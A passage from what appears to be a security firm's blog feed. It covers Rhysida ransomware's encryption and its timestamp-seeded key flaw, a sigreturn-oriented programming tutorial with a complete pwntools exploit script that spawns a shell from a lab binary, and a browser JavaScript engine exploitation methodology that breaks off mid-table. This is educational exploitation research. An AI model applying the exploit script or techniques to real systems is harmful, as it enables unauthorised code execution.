<p><img alt="IDA: chacha20_prng_read producing the 32-byte key and 16-byte IV, then ctr_start" src="20.png" loading="lazy" decoding="async" width="718" height="497"></p>
<p>Set the IV for the CTR algorithm with <code>ctr_setiv</code>.</p>
<p><img alt="IDA: ctr_setiv setting the IV for CTR mode" src="21.png" loading="lazy" decoding="async" width="650" height="201"></p>
<p>Encrypt the previously generated key and IV using RSA and a public key hardcoded into the executable. The <code>rsa_encrypt_key_ex</code> function handles this encryption of the secrets, and the resulting encrypted values are written to the end of the victim&rsquo;s file.</p>
<p><img alt="IDA: rsa_encrypt_key_ex wrapping the per-file secrets with the RSA public key (1/4)" src="22.png" loading="lazy" decoding="async" width="671" height="178">
<img alt="IDA: rsa_encrypt_key_ex wrapping the per-file secrets with the RSA public key (2/4)" src="23.png" loading="lazy" decoding="async" width="692" height="196">
<img alt="IDA: rsa_encrypt_key_ex wrapping the per-file secrets with the RSA public key (3/4)" src="24.png" loading="lazy" decoding="async" width="796" height="181">
<img alt="IDA: rsa_encrypt_key_ex wrapping the per-file secrets with the RSA public key (4/4)" src="25.png" loading="lazy" decoding="async" width="807" height="137"></p>
<p>Encrypt the file block by block, each block going through a call to <code>ctr_encrypt</code> using the generated key and IV, which differ for every file.</p>
<p><img alt="IDA: ctr_encrypt encrypting the file block by block" src="26.png" loading="lazy" decoding="async" width="525" height="259"></p>
<p>Rhysida doesn&rsquo;t encrypt the whole file if it&rsquo;s larger than 1,048,576 bytes (<code>0x100000</code> in hex), which is the block size the attacker uses.</p>
<p><img alt="IDA: size check skipping full encryption for files larger than 0x100000 bytes" src="27.png" loading="lazy" decoding="async" width="540" height="29"></p>
<div class="admonition note">
<p>When a file is larger than the block size (more than <code>0x100000</code> bytes), the encryptor tries to fit in as many blocks as possible, up to a limit of 4. So if a file is bigger than one block but too small to hold two, Rhysida only encrypts the portion matching the first block and leaves the rest in clear. In the other case, if the file is large enough to comfortably hold all 4 blocks, Rhysida encrypts exactly the space taken by those 4 blocks and skips the gaps between them, leaving those untouched. The 4 blocks are spread across the entire length of the file, each separated by an equal-sized region that stays unencrypted.</p>
</div>
<p>See the diagram below.</p>
<p><img alt="Diagram of intermittent encryption: up to four encrypted blocks spread across the file with unencrypted gaps between them" src="28.png" loading="lazy" decoding="async" width="1350" height="722"></p>
<h5 id="c-pseudocode-summary-of-the-encryption-process">C pseudocode summary of the encryption process</h5>
<p>For a clearer picture of the process, here&rsquo;s a heavily simplified C pseudocode of these operations.</p>
<p>Generating the key and IV:</p>
<p><img alt="Simplified pseudocode generating the key and IV" src="29.png" loading="lazy" decoding="async" width="382" height="46"></p>
<p>Encrypting the key:</p>
<p><img alt="Simplified pseudocode encrypting the key with RSA" src="30.png" loading="lazy" decoding="async" width="241" height="209"></p>
<p>Writing the encrypted key:</p>
<p><img alt="Simplified pseudocode writing the encrypted key to the file" src="31.png" loading="lazy" decoding="async" width="501" height="17"></p>
<p>Encrypting the IV:</p>
<p><img alt="Simplified pseudocode encrypting the IV with RSA" src="32.png" loading="lazy" decoding="async" width="200" height="197"></p>
<p>Writing the encrypted IV:</p>
<p><img alt="Simplified pseudocode writing the encrypted IV to the file" src="33.png" loading="lazy" decoding="async" width="429" height="17"></p>
<p>Encrypting the file block by block:</p>
<p><img alt="Simplified pseudocode encrypting the file block by block" src="34.png" loading="lazy" decoding="async" width="408" height="332"></p>
<p>The program then renames the file by appending the <code>.rhysida</code> extension.</p>
<p><img alt="IDA: routine appending the .rhysida extension to the encrypted file" src="35.png" loading="lazy" decoding="async" width="383" height="17"></p>
<h3 id="ransom-note-and-end-of-execution">Ransom note and end of execution</h3>
<p>Once file encryption is done, the program deletes itself, but only if the attacker specified the <code>-sr</code> option at launch, as seen earlier in this write-up.</p>
<p><img alt="IDA: self-deletion routine triggered by the -sr option" src="36.png" loading="lazy" decoding="async" width="850" height="167"></p>
<p><img alt="IDA: continuation of the self-deletion routine" src="37.png" loading="lazy" decoding="async" width="246" height="76"></p>
<p>As encryption progresses, ransom notes in PDF format are dropped into each encrypted directory. When encryption finishes, the program updates the Windows wallpaper, replacing it with a ransom note as well, via the <code>setBG</code> function. Since this process isn&rsquo;t essential to our analysis, we won&rsquo;t go into the details.</p>
<h2 id="the-vulnerability-and-decryption">The vulnerability and decryption</h2>
<p>The C version of Rhysida has a vulnerability that lets us decrypt the victim&rsquo;s files with no prior knowledge of the key, and with no special requirement beyond access to the victim&rsquo;s machine or the encrypted files.</p>
<h3 id="explaining-the-vulnerability">Explaining the vulnerability</h3>
<p>Every bit of randomness in the encryptor comes from a single source, initialized by <code>srand</code> with a seed, which here is the timestamp. Using a timestamp as the seed for random generation in a cryptographic context completely undermines the resulting crypto chain and makes the encryption void and reversible.</p>
<p>The reason is that the keys and IVs the program generates for each file all derive from <code>rand</code>, which itself relies on the value handed to <code>srand</code>. If you call <code>rand</code> several times in a row while always passing the same value to <code>srand</code>, you&rsquo;ll always get the same sequence back.</p>
<p>Here&rsquo;s an example in C pseudocode:</p>
<pre><code class="language-c">srand(5);
rand(); // generated value: 42
rand(); // generated value: 77
rand(); // generated value: 92
rand(); // generated value: 8
...
</code></pre>
<p>Run this code several times in a row and the <code>rand</code> calls produce the same values every time. Knowing the value passed to <code>srand</code>, the seed, lets you predict every random value the program generates, including the encryption keys and IVs. And all we need to recover that value is the timestamp, even an approximate one, of when the victim&rsquo;s files were encrypted.</p>
<h3 id="the-decryption-process">The decryption process</h3>
<p>The decryptor works like this:</p>
<p>Generate a table of keys and IVs using the timestamp as the seed, for each file and each thread, accounting for the number of logical processors. we have to assume any processor could have generated the key for any thread, so we generate enough keys and IVs to cover every possibility across all files.</p>
<p>Encrypt the generated keys with the RSA public key pulled from the executable, the same way Rhysida does.</p>
<p>Compare that encrypted key against the value stored at the end of the encrypted file, which (as a reminder) is the encrypted key Rhysida stored there. If the values match, we&rsquo;ve found the right key.</p>
<p>Decrypt the file with the recovered key. we only need to find the correct key for a single file to automatically decrypt all the others, because successfully decrypting one file means we have the right timestamp as the RNG seed. From there it&rsquo;s just a matter of testing each key in our table against the file we want to decrypt.</p>
<p>If we don&rsquo;t know the exact timestamp, we can start from an approximate one and sweep a time window around it, decrypting part of a file each time until I land on the exact timestamp.</p>
<h3 id="whats-needed-for-decryption">What&rsquo;s needed for decryption</h3>
<p>To decrypt a victim, we need the following:</p>
<ul>
<li>The strain that infected the victim, since we need the RSA public key it contains.</li>
<li>The exact encryption timestamp.</li>
</ul>
<p>OR</p>
<ul>
<li>
<p>An approximate timestamp plus an encrypted file of known extension and type whose header we can guess (<code>.pdf</code>, <code>.docx</code>, etc.).</p>
</li>
<li>
<p>The approximate number of encrypted files, or an order of magnitude, in order to generate the key and IV table. This number must be greater than or equal to the number of encrypted files, never less.</p>
</li>
<li>
<p>The number of logical processors on the encrypted machine.</p>
</li>
</ul>
<p>In practice, the processor count and the number of encrypted files are easy to guess. The timestamp is the key piece.</p>
<h3 id="special-cases">Special cases</h3>
<p>The PowerShell version of Rhysida we analyzed is not vulnerable to this decryption.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Over the course of this work, dozens of victims around the world had their files recovered and their data saved, without ever paying a ransom. For an organization hit by Rhysida, that&rsquo;s often the difference between a survivable incident and a catastrophic one.</p>
<p>I was, in a professional capacity, the first to build a working decryptor for this ransomware, back in May 2023, just weeks after Rhysida first surfaced. The catch is that this work was bound by confidentiality, and I wasn&rsquo;t in a position to disclose any of it until now. The public research that later emerged, and the decryptors built on it, arrived independently and confirmed the same underlying flaw.</p>
<p>I&rsquo;ve made a deliberate choice not to publish my full decryptor in this post. The vulnerability is now well documented, and free decryptors built by other parties are already available to victims through <a href="https://www.nomoreransom.org">nomoreransom.org</a>, a joint initiative between law enforcement and the security industry. Anyone affected by Rhysida should start there. My goal with this write-up is to walk through the analysis and the reasoning behind the break, not to hand out another tool.</p>]]></description>
    </item>
    <item>
      <title>Sigreturn-oriented programming</title>
      <link>https://sigreturn.com/blog/sigreturn-oriented-programming/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/sigreturn-oriented-programming/</guid>
      <pubDate>Thu, 04 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>exploitation</category>
      <category>linux</category>
      <category>x86-64</category>
      <category>rop</category>
      <category>syscall</category>
      <description><![CDATA[<p>Say you have a clean stack buffer overflow on a 64-bit Linux binary and you want a shell. The goal is an <code>execve("/bin/sh", NULL, NULL)</code>, which means getting <code>rax</code> to 59, <code>rdi</code> to a pointer to the string, <code>rsi</code> and <code>rdx</code> to zero, and then a <code>syscall</code>. Classic return-oriented programming gets you there one register at a time: a <code>pop rdi ; ret</code> here, a <code>pop rsi ; ret</code> there, hunting the binary for a gadget per argument. It works, but it is fiddly, and a stripped static binary may simply not contain the gadgets you want.</p>
<p>There is a shortcut, and it is almost unfair. The kernel already ships a routine whose entire job is to load every general-purpose register, plus <code>rip</code> and <code>rsp</code>, from values sitting on the stack. It does this in one syscall, it trusts the stack completely, and it never checks who put those values there. That routine is <code>sigreturn</code>, and bending it to our purposes is sigreturn-oriented programming. It is also, as it happens, the syscall this company is named after.</p>
<h2 id="how-a-signal-leaves-the-kernel">How a signal leaves the kernel</h2>
<p>To see why <code>sigreturn</code> exists, follow what happens when a process receives a signal it has a handler for.</p>
<p>The kernel cannot just call the handler and hope the process picks up where it left off afterwards. The signal can interrupt user code at any instruction, so before transferring control the kernel has to save the entire CPU state: every general-purpose register, the instruction pointer, the stack pointer, the flags, and the floating-point state. It saves all of that into a structure called a signal frame, and it pushes that frame onto the user stack. Then it points <code>rip</code> at the handler and lets it run.</p>
<p>When the handler returns, execution does not go back to the interrupted code directly. Instead it returns into a tiny trampoline the kernel arranged for, which does nothing but invoke the <code>sigreturn</code> syscall. On x86-64 that trampoline is essentially:</p>
<pre><code class="language-asm">mov rax, 15      ; __NR_rt_sigreturn
syscall
</code></pre>
<p><code>sigreturn</code> is the other half of the dance. It takes the signal frame the kernel left on the stack, copies every saved value back into the corresponding register, and resumes the interrupted code exactly where it was. The whole point of the syscall is to restore a full register context from memory.</p>
<div class="admonition note">
<p>On x86-64 the relevant call is <code>rt_sigreturn</code>, syscall number 15, and the frame is an <code>rt_sigframe</code> wrapping a <code>ucontext</code>. On 32-bit x86 there is also a plain <code>sigreturn</code> at number 119 (0x77). The idea is identical on both. We use x86-64 below and come back to the 32-bit case at the end.</p>
</div>
<p>The detail that matters for us is what <code>sigreturn</code> does <em>not</em> do. It does not verify that the frame it reads was written by the kernel. It does not check a cookie, a signature, or where the stack pointer is. It reads the frame at the current stack pointer and restores from it, unconditionally. The kernel assumes that if <code>sigreturn</code> is being called, it is because the kernel itself set this up a moment earlier.</p>
<h2 id="the-abuse">The abuse</h2>
<p>That assumption is the whole vulnerability. If we control the contents of the stack and we can make the program call <code>sigreturn</code> with the stack pointer aimed at memory we wrote, then the kernel will happily restore every register from a frame we forged.</p>
<p>A forged frame gives us, in one step, what a long ROP chain gives us gadget by gadget: arbitrary values in <code>rax</code>, <code>rdi</code>, <code>rsi</code>, <code>rdx</code>, the rest of the general-purpose registers, and <code>rip</code>. We get to pick where execution goes next and what every argument register holds when it gets there. The technique was formalized by Bosman and Bos in their 2014 paper &ldquo;Framing Signals&rdquo;, which showed how general and how portable it is.</p>
<p>To pull it off we need three things:</p>
<ul>
<li><strong>Control of the stack contents</strong>, so we can place the fake frame. A straightforward overflow gives us this.</li>
<li><strong>A way to invoke <code>sigreturn</code></strong>, which means getting <code>rax</code> to 15 and reaching a <code>syscall</code> instruction. In practice that is a small two-gadget step: something like <code>pop rax ; ret</code> to load the number, then a <code>syscall</code> instruction to fire it.</li>
<li><strong>A known address for any data we reference</strong>, such as the <code>/bin/sh</code> string we want <code>rdi</code> to point at. A static, non-PIE binary makes this easy because addresses are fixed and glibc already carries the string <code>/bin/sh</code> for its own use.</li>
</ul>
<p>That is the entire shopping list. Notice it is short, and notice that none of it depends on the binary containing the exact <code>pop rdi</code> / <code>pop rsi</code> / <code>pop rdx</code> gadgets a conventional chain would need. A single <code>syscall</code> instruction and a way to set <code>rax</code> are enough to set up <em>any</em> syscall with <em>any</em> arguments. That generality is what makes the technique worth knowing.</p>
<h2 id="a-worked-example">A worked example</h2>
<p>Let us build the smallest thing that demonstrates it. Here is a deliberately vulnerable program: it reads far more bytes than the buffer holds, straight into the stack.</p>
<pre><code class="language-c">#include &lt;unistd.h&gt;

void vuln(void)
{
    char buf[64];
    read(0, buf, 1024);
}

int main(void)
{
    vuln();
    return 0;
}
</code></pre>
<p>We compile it static and non-PIE, with the stack canary off, so the mechanism is not buried under mitigations we are not studying here.</p>
<pre><code class="language-bash">gcc vuln.c -o vuln -static -no-pie -fno-stack-protector
</code></pre>
<p>A quick look confirms what we are working with: no canary to leak, no PIE so addresses are fixed, and a static binary that drags all of glibc in with it (which means plenty of <code>syscall</code> instructions and the <code>/bin/sh</code> string are present).</p>
<pre><code>$ checksec --file=vuln
RELRO      STACK CANARY    NX      PIE
Partial    No canary       NX      No PIE
</code></pre>
<p>We need exactly two gadgets and one string. Rather than copy addresses by hand, we let pwntools find them by searching the binary&rsquo;s own bytes:</p>
<ul>
<li><code>pop rax ; ret</code> to load the syscall number,</li>
<li><code>syscall ; ret</code> to fire the syscall,</li>
<li>the <code>/bin/sh</code> string already living in glibc.</li>
</ul>
<p>The plan on the stack, top to bottom, is: padding up to the saved return address, then <code>pop rax ; ret</code> followed by <code>15</code> to select <code>rt_sigreturn</code>, then the <code>syscall</code> gadget to invoke it, and finally the forged signal frame the kernel will restore from. We fill that frame to call <code>execve("/bin/sh", NULL, NULL)</code>, sending control to the same <code>syscall</code> gadget once the registers are in place.</p>
<pre><code class="language-python">from pwn import *

context.binary = elf = ELF('./vuln')

pop_rax     = next(elf.search(asm('pop rax; ret')))
syscall_ret = next(elf.search(asm('syscall; ret')))
binsh       = next(elf.search(b'/bin/sh\x00'))

# The frame the kernel will restore: a ready-made execve(&quot;/bin/sh&quot;, 0, 0)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh                  # &quot;/bin/sh&quot;
frame.rsi = 0                      # argv = NULL
frame.rdx = 0                      # envp = NULL
frame.rip = syscall_ret            # run the execve syscall once registers are set

payload  = b'A' * 72               # 64-byte buffer + saved rbp
payload += p64(pop_rax)            # rax = 15 ...
payload += p64(15)                 #   ... __NR_rt_sigreturn
payload += p64(syscall_ret)        # syscall -&gt; rt_sigreturn restores our frame
payload += bytes(frame)            # the forged frame itself

p = process('./vuln')
p.send(payload)
p.interactive()
</code></pre>
<p>Walking the chain as the CPU sees it: <code>vuln</code> returns into <code>pop rax ; ret</code>, which loads <code>15</code> and returns into the <code>syscall</code> gadget. That <code>syscall</code> is <code>rt_sigreturn</code>, so the kernel reads the frame we placed right after it and restores every register from it. Now <code>rax</code> is 59, <code>rdi</code> points at <code>/bin/sh</code>, <code>rsi</code> and <code>rdx</code> are zero, and <code>rip</code> is our <code>syscall</code> gadget again. The very next instruction is therefore <code>execve("/bin/sh", NULL, NULL)</code>.</p>
<pre><code>$ python3 exploit.py
[*] '/home/lab/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './vuln': pid 4711
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
$ exit
</code></pre>
<p>One overflow, two gadgets, one forged frame, and a shell. We never needed a gadget per argument.</p>
<div class="admonition tip">
<p>The one piece of data we leaned on was a known address for <code>/bin/sh</code>. When the binary does not contain the string, or when PIE moves everything around, the usual move is to write the string yourself first: chain an initial <code>read</code> syscall (set up the same SROP way) to drop <code>/bin/sh</code> into a known writable address such as the <code>.bss</code>, then point the second frame&rsquo;s <code>rdi</code> at it.</p>
</div>
<h2 id="finding-the-pieces-in-practice">Finding the pieces in practice</h2>
<p>The example handed us fixed addresses and a fat static binary. Real targets are stingier, so it helps to know where the moving parts actually come from.</p>
<p>The <code>syscall</code> instruction is rarely a problem. Anything linked against libc has many, and a static binary has them everywhere. The real question is usually how to get the syscall number into <code>rax</code> without a convenient <code>pop rax</code>. There are several answers depending on the binary: a <code>read</code> that lands a controlled byte in the right place, an arithmetic gadget, or chaining through a function that returns a known value into <code>rax</code>.</p>
<p>32-bit x86 deserves a special mention, because it is where SROP often looks its cleanest. The kernel&rsquo;s signal trampoline lives in the vDSO, a small shared object the kernel maps into every process, exported as <code>__kernel_sigreturn</code>. Disassembled, it is almost a gift:</p>
<pre><code>__kernel_sigreturn:
    pop    eax
    mov    eax, 0x77
    int    0x80
</code></pre>
<p>That is a single gadget that <em>is</em> a call to <code>sigreturn</code>. It loads <code>eax</code> with 0x77 (the 32-bit <code>sigreturn</code> number) on its own and fires the interrupt, so you do not even need a separate step to set the syscall number. Point execution at it with a forged frame waiting on the stack and the restore happens. The vDSO is at a known-ish location and contains exactly the instruction you need. It is a recurring reason the technique is so comfortable on 32-bit.</p>
<div class="admonition warning">
<p>None of this survives contact with every mitigation, and that is by design. A stack canary stops the overflow before the return address. Full ASLR and PIE take away the fixed addresses the frame and the <code>/bin/sh</code> pointer rely on, so SROP in the wild is usually paired with an information leak first. The technique controls registers, it does not conjure addresses.</p>
</div>
<h2 id="why-we-care">Why we care</h2>
<p>Step back and the appeal is obvious. Conventional ROP treats the binary as a quarry and makes you mine one gadget per register. SROP treats a single, always-present kernel routine as a universal register-loading primitive. One <code>syscall</code> instruction, one way to set <code>rax</code>, and a stretch of stack you control are enough to set up any syscall you like with fully controlled arguments. The same forged frame tends to work across different binaries that share the same flaw, because it leans on the kernel&rsquo;s ABI rather than on any one program&rsquo;s gadgets.</p>
<p>A whole class of exploitation collapses into &ldquo;write the registers you want onto the stack and let the kernel install them for you.&rdquo; That elegance, a signal-handling convenience quietly turned into an exploitation primitive, is exactly the kind of thing we find worth naming a company after.</p>]]></description>
    </item>
    <item>
      <title>Exploiting JavaScript engines: from type confusion to code execution</title>
      <link>https://sigreturn.com/blog/exploiting-javascript-engines/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/exploiting-javascript-engines/</guid>
      <pubDate>Thu, 04 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>browser</category>
      <category>javascript</category>
      <category>exploitation</category>
      <category>webkit</category>
      <category>v8</category>
      <description><![CDATA[<p>A modern browser is close to a small operating system. It parses untrusted markup, decodes media, runs a multi-million-line JIT compiler, and executes arbitrary code from any site the moment a tab opens. That makes the JavaScript engine one of the most valuable remote attack surfaces in existence: a single bug in it runs adversary-controlled script with the full power of a native optimizing compiler behind it.</p>
<p>What is striking, once you have done it a couple of times, is how <em>uniform</em> the exploitation is. The engines differ in the details of how they encode a value or lay out an object, but the path from a memory bug to a shell is almost always the same four rungs: a type confusion, the <code>addrof</code> and <code>fakeobj</code> primitives, an arbitrary read/write, and finally code execution. Learn the ladder once and you can read almost any engine writeup. We build it here from the ground up on JavaScriptCore (WebKit) and V8 (Chrome), and then look at why, on a current iPhone, landing the bug is the easy part.</p>
<div class="admonition note">
<p>This is the written and generalized version of a talk I gave, in French, at Quarks in the Shell 2023. The original recording is on the <a href="/blog/javascript-engine-exploitation-methodology/">talk post</a>. Everything here is public methodology. There is no exploit and no engine 0day in this article.</p>
</div>
<h2 id="why-the-javascript-engine">Why the JavaScript engine</h2>
<p>A browser is not one program, it is a pile of them: an HTML and CSS engine, the DOM, a network stack, image and font decoders, and the JavaScript engine sitting in the middle of it all. Any of those is attack surface, but the JavaScript engine is special because the attacker gets to <em>run code</em> there directly, with loops, objects, and timing, rather than coaxing a parser into misbehaving from the outside.</p>
<p>We focus on the two engines that matter most in practice. JavaScriptCore (JSC) is WebKit&rsquo;s engine, written mostly in C++, shipping not only in Safari but in anything that embeds WebKit, from game consoles to embedded dashboards. V8 is Chrome&rsquo;s engine, used by Blink (which descends from WebKit&rsquo;s WebCore) and by Node. SpiderMonkey, Firefox&rsquo;s engine, follows the same shapes. Because the engines borrowed each other&rsquo;s design, the techniques port between them with only cosmetic changes.</p>
<h2 id="how-values-live-in-memory">How values live in memory</h2>
<p>Before corrupting anything, we have to know what the raw 64-bit words we will be reading actually mean. Both engines pack every JavaScript value into a machine word, and both do it in a way that lets them tell a pointer from a number without an extra tag byte.</p>
<p>JSC uses <strong>NaN-boxing</strong>. A <code>JSValue</code> is 64 bits, and the encoding exploits the fact that IEEE-754 doubles have a huge range of bit patterns that are all &ldquo;NaN&rdquo;. Roughly:</p>
<ul>
<li>A <strong>pointer</strong> to a heap object (a &ldquo;cell&rdquo;) is stored as-is. On 64-bit, valid pointers have their top 16 bits clear, so a small value at the top of the word means &ldquo;this is a pointer&rdquo;.</li>
<li>An <strong>int32</strong> is stored with a tag in the high bits, as <code>0xFFFE000000000000 | value</code>.</li>
<li>A <strong>double</strong> is stored with a constant offset of <code>2^49</code> added to its bit pattern, so that every real double lands in a band (top 16 bits between <code>0x0002</code> and <code>0xFFFC</code>) that never collides with the pointer or integer encodings.</li>
</ul>
<p>A consequence we will lean on: the encoded value <code>0x0</code> does not mean the number zero. It is the special &ldquo;empty&rdquo; value. The number zero is a double or a tagged integer with its own encoding. So when we read raw memory, a bare zero word is almost never a JavaScript <code>0</code>. <code>null</code>, <code>true</code>, <code>false</code>, and <code>undefined</code> likewise have their own small fixed encodings.</p>
<p>V8 takes a different route. Small integers (<strong>SMIs</strong>) are tagged by their low bit, heap object pointers carry a different low-bit tag, and on 64-bit builds V8 uses <strong>pointer compression</strong>: the high 32 bits of every heap pointer in a given heap are constant, so they are kept once in a base register (the isolate root) and only the low 32 bits are stored in memory. To dereference a compressed pointer you take the stored 32-bit half and add the base from the register. JSC has its own constraint in the same spirit, the <strong>gigacage</strong>, which confines certain backing stores to a reserved region so a stray pointer cannot reach arbitrary memory. We will not need its internals here, only the awareness that it exists.</p>
<h2 id="the-object-model-and-the-butterfly">The object model and the butterfly</h2>
<p>Now the object layout, because that is what we corrupt. Take an ordinary object in JSC. It begins with a <strong>structure ID</strong>, a number that names the object&rsquo;s <em>shape</em>: which properties it has, in which order, of which types. Every object that shares a shape shares a structure ID, and the engine reuses it. Add a property, reorder them, or change a type, and the engine mints a new structure for the new shape. Structure IDs used to be handed out linearly, which made them predictable. Modern JSC throws in a few random bits, so you can no longer guess the next one.</p>
<p>After the structure ID and a few flag bytes comes the <strong>butterfly</strong> pointer. The butterfly is a single pointer that points into the <em>middle</em> of an allocation:</p>
<pre><code>            butterfly
               |
               v
[ ...named properties... ][ length | capacity ][ elem 0 ][ elem 1 ][ ... ]
   grow to the LEFT          header word          grow to the RIGHT
</code></pre>
<p>To the right of the pointer live the indexed elements, the things you reach with <code>obj[0]</code>, <code>obj[1]</code>. To the left live the out-of-line named properties, the things you set with <code>obj.foo</code>. Right at the boundary sits a header word holding two 32-bit fields packed into 64 bits: the <strong>public length</strong> (the array&rsquo;s real length) and the <strong>vector length</strong> (its allocated capacity).</p>
<p>V8 expresses the same idea differently. The first field of a V8 object is its <strong>map</strong> pointer, a pointer to a <code>Map</code> object that describes the type and shape, followed by separate pointers to the properties and the elements. Whether the shape is named by a number (JSC&rsquo;s structure ID) or by a pointer (V8&rsquo;s map), the role is identical: it is the field that tells the engine &ldquo;this is what kind of object I am&rdquo;. Corrupt it and you have lied to the engine about a type. That is the whole game.</p>
<h2 id="the-bug-that-starts-everything">The bug that starts everything</h2>
<p>Every chain begins with one memory bug in the engine. They come in many flavors, a typing mistake in the JIT optimizer, a botched bounds-check elimination, an out-of-bounds access in an array builtin, but the most productive shape is one that lets us touch a single slot <em>just past</em> the end of an array. Here is why that one extra slot is so valuable.</p>
<p>Lay out an array of doubles and look at what sits next to it in memory:</p>
<pre><code>[ map / structure ][ length | capacity ][ d0 ][ d1 ][ d2 ][ d3 ][ map of the NEXT object ][ ... ]
 \______________ our float array ______________/        ^
                                                         one slot past the end
</code></pre>
<p>The element right after our array&rsquo;s last double is the header of whatever was allocated next, including its map or structure field. If the bug lets us read or write one element beyond the bounds, we can read and, crucially, <em>overwrite</em> the neighbor&rsquo;s map. Overwrite it with the map of a different type and the engine now treats that object as something it is not. That is a <strong>type confusion</strong>, and it is the pivot from a narrow memory bug to a general one. The specific bug only has to get us this far. From here on the recipe is engine methodology, not bug specifics.</p>
<h2 id="addrof-and-fakeobj">addrof and fakeobj</h2>
<p>Two primitives turn a type confusion into something you can program against. Neither is normally possible in JavaScript, which is the point. Both exist only because of the bug.</p>
<p><strong><code>addrof(obj)</code></strong> leaks the address of a JavaScript object. You are never supposed to learn where an object lives, but with the type confusion you can. Keep two arrays, one of objects and one of doubles, side by side. Put the target object into the object array, then use the confusion to make the engine read that array as if it held doubles. Reading element zero now hands you the raw pointer bits of the object, reinterpreted as a floating-point number. Convert that back to an integer and you have the address.</p>
<p>The float-to-integer conversion is just two views over the same bytes:</p>
<pre><code class="language-js">const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u64 = new BigUint64Array(buf);

const ftoi = (f) =&gt; { f64[0] = f; return u64[0]; };   // double bits -&gt; integer
const itof = (i) =&gt; { u64[0] = i; return f64[0]; };   // integer    -&gt; double bits
</code></pre>
<p><strong><code>fakeobj(addr)</code></strong> is the exact inverse. Instead of taking an object and revealing its address, it takes an address and hands you back a JavaScript object located <em>there</em>. You write the address you want as a double into a slot, then use the same confusion to make the engine treat that double as an object pointer. Now you hold a real, usable JS object whose memory you chose, and you can read and set its fields like any other.</p>
<pre><code class="language-js">// Sketch, not a working exploit: the confusion primitive is engine-specific.
const addr = addrof(victim);          // leak an address
const fake = fakeobj(someAddress);    // forge an object at an address we control
</code></pre>
<h2 id="from-fakeobj-to-arbitrary-read-and-write">From fakeobj to arbitrary read and write</h2>
<p><code>addrof</code> and <code>fakeobj</code> are not the goal, they are the tools for building the primitive we actually want: reading and writing any 64-bit word in the address space.</p>
<p>The trick is to hand-build a fake object inside memory you fully control, which is easy because the contents of a float array are entirely yours. You craft a sequence of doubles that, interpreted as an object, looks like an array whose <em>elements pointer</em> is a value you choose. Then you <code>fakeobj</code> it. Reading element zero of that fake object dereferences the pointer you planted, giving you an 8-byte read at any address you like. Writing element zero writes 8 bytes there instead.</p>
<pre><code class="language-js">// Conceptually:
function read64(where) {
    fake_array.set_elements_pointer(where);  // forged via fakeobj over controlled doubles
    return ftoi(fake_array[0]);              // engine dereferences our pointer for us
}

function write64(where, what) {
    fake_array.set_elements_pointer(where);
    fake_array[0] = itof(what);
}
</code></pre>
<p>With <code>read64</code> and <code>write64</code> the engine bug is, in effect, fully cashed out. We have arbitrary read and write across the process, subject only to caged regions like the gigacage. Everything from here is about turning memory control into instruction-pointer control.</p>
<h2 id="from-readwrite-to-code-execution">From read/write to code execution</h2>
<p>Arbitrary read/write does not yet run shellcode. We need executable memory we can write to, or a function pointer we can redirect.</p>
<p>For years this was almost free. A JIT compiler has to produce executable code at runtime, so the engine kept memory that was both writable and executable. The classic move was to instantiate a WebAssembly module, which mapped a fresh <strong>RWX</strong> page. The contents of the module were irrelevant, you just wanted the page to exist. Then you used your write primitive to drop shellcode into it and redirected a JIT-compiled function&rsquo;s code pointer at your bytes. One call later, your code ran.</p>
<p>That era is over. The mitigation that closed it is <strong>W^X</strong>: no page is writable and executable at the same time. The free RWX page is gone, and getting code execution after a clean read/write is now the hard part of a browser exploit, not the easy one.</p>
<h2 id="the-mitigations-that-make-a-working-bug-only-the-beginning">The mitigations that make a working bug only the beginning</h2>
<p>This is where a modern target, especially an Apple one, stops being mechanical. A working arbitrary read/write is necessary, but on current iOS it is nowhere near sufficient.</p>
<p><strong>Bulletproof JIT (iOS 10).</strong> Apple&rsquo;s first answer to writing JIT code without a permanent RWX page was to map one physical JIT page through <em>two</em> virtual mappings: one executable, one writable, with the writable mapping placed at an address the attacker is not supposed to know. The idea is that you can execute the code but cannot find where to write it. In practice it was not very durable, since recovering the writable mapping is enough to write your shellcode through it, but it set the direction.</p>
<p><strong>APRR (hardware W^X).</strong> Newer Apple silicon enforces the split in hardware, per thread. Even a page that looks RWX is never simultaneously writable and executable when you touch it, because a per-thread permission register gates the write side off at access time. When the runtime legitimately needs to patch JIT code, a routine flips the current thread&rsquo;s permission to writable, performs the copy, and flips it back. Two design choices make this miserable to abuse. First, the flip is <strong>per-thread</strong>, so you cannot run another thread into the brief writable window and race the copy. Second, the JIT memcpy is marked <code>always_inline</code>, so there is no tidy function pointer to jump to. It is melted into a much larger function full of other inlined routines. You can reach that big function&rsquo;s entry, but you then have to <em>survive</em> all the way to the inlined copy at its tail with exactly the right registers set up, and there is a check that the register carrying the permission value was not tampered with along the way. Landing in the middle is a crash, not a primitive.</p>
<p>The split itself is enforced by a small lookup. A page&rsquo;s <code>rwx</code> bits index into a per-thread APRR register that re-maps them to the <em>effective</em> permissions actually applied, and that mapping is what bakes in W^X: any entry that asks for write <em>and</em> execute comes back without the write bit.</p>
<table>
<thead>
<tr>
<th>Page table entry</th>
<th>Index</th>
<th>Effective (APRR)</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>---</code></td>
<td>0</td>
<td><code>---</code></td>
</tr>
<tr>
<td><code>--x</code></td>
<td>1</td>
<td><code>--x</code></td>
</tr>
<tr>
<td><code>-w-</code></td>
<td>2</td>
<td><code>-w-</code></td>
</tr>
<tr>
<td><code>-wx</code></td>
<td>3</td>
<td><code>--x</code></td>
</tr>
<tr>
<td><code>r--</code></td>
<td>4</td>
<td><code>r--</code></td>
</tr>
<tr>
<td><code>r-x</code></td>
<td>5</td>
<td><code>r-x</code></td>
</tr>
<tr>
<td><code>rw-</code></td>
<td>6</td>
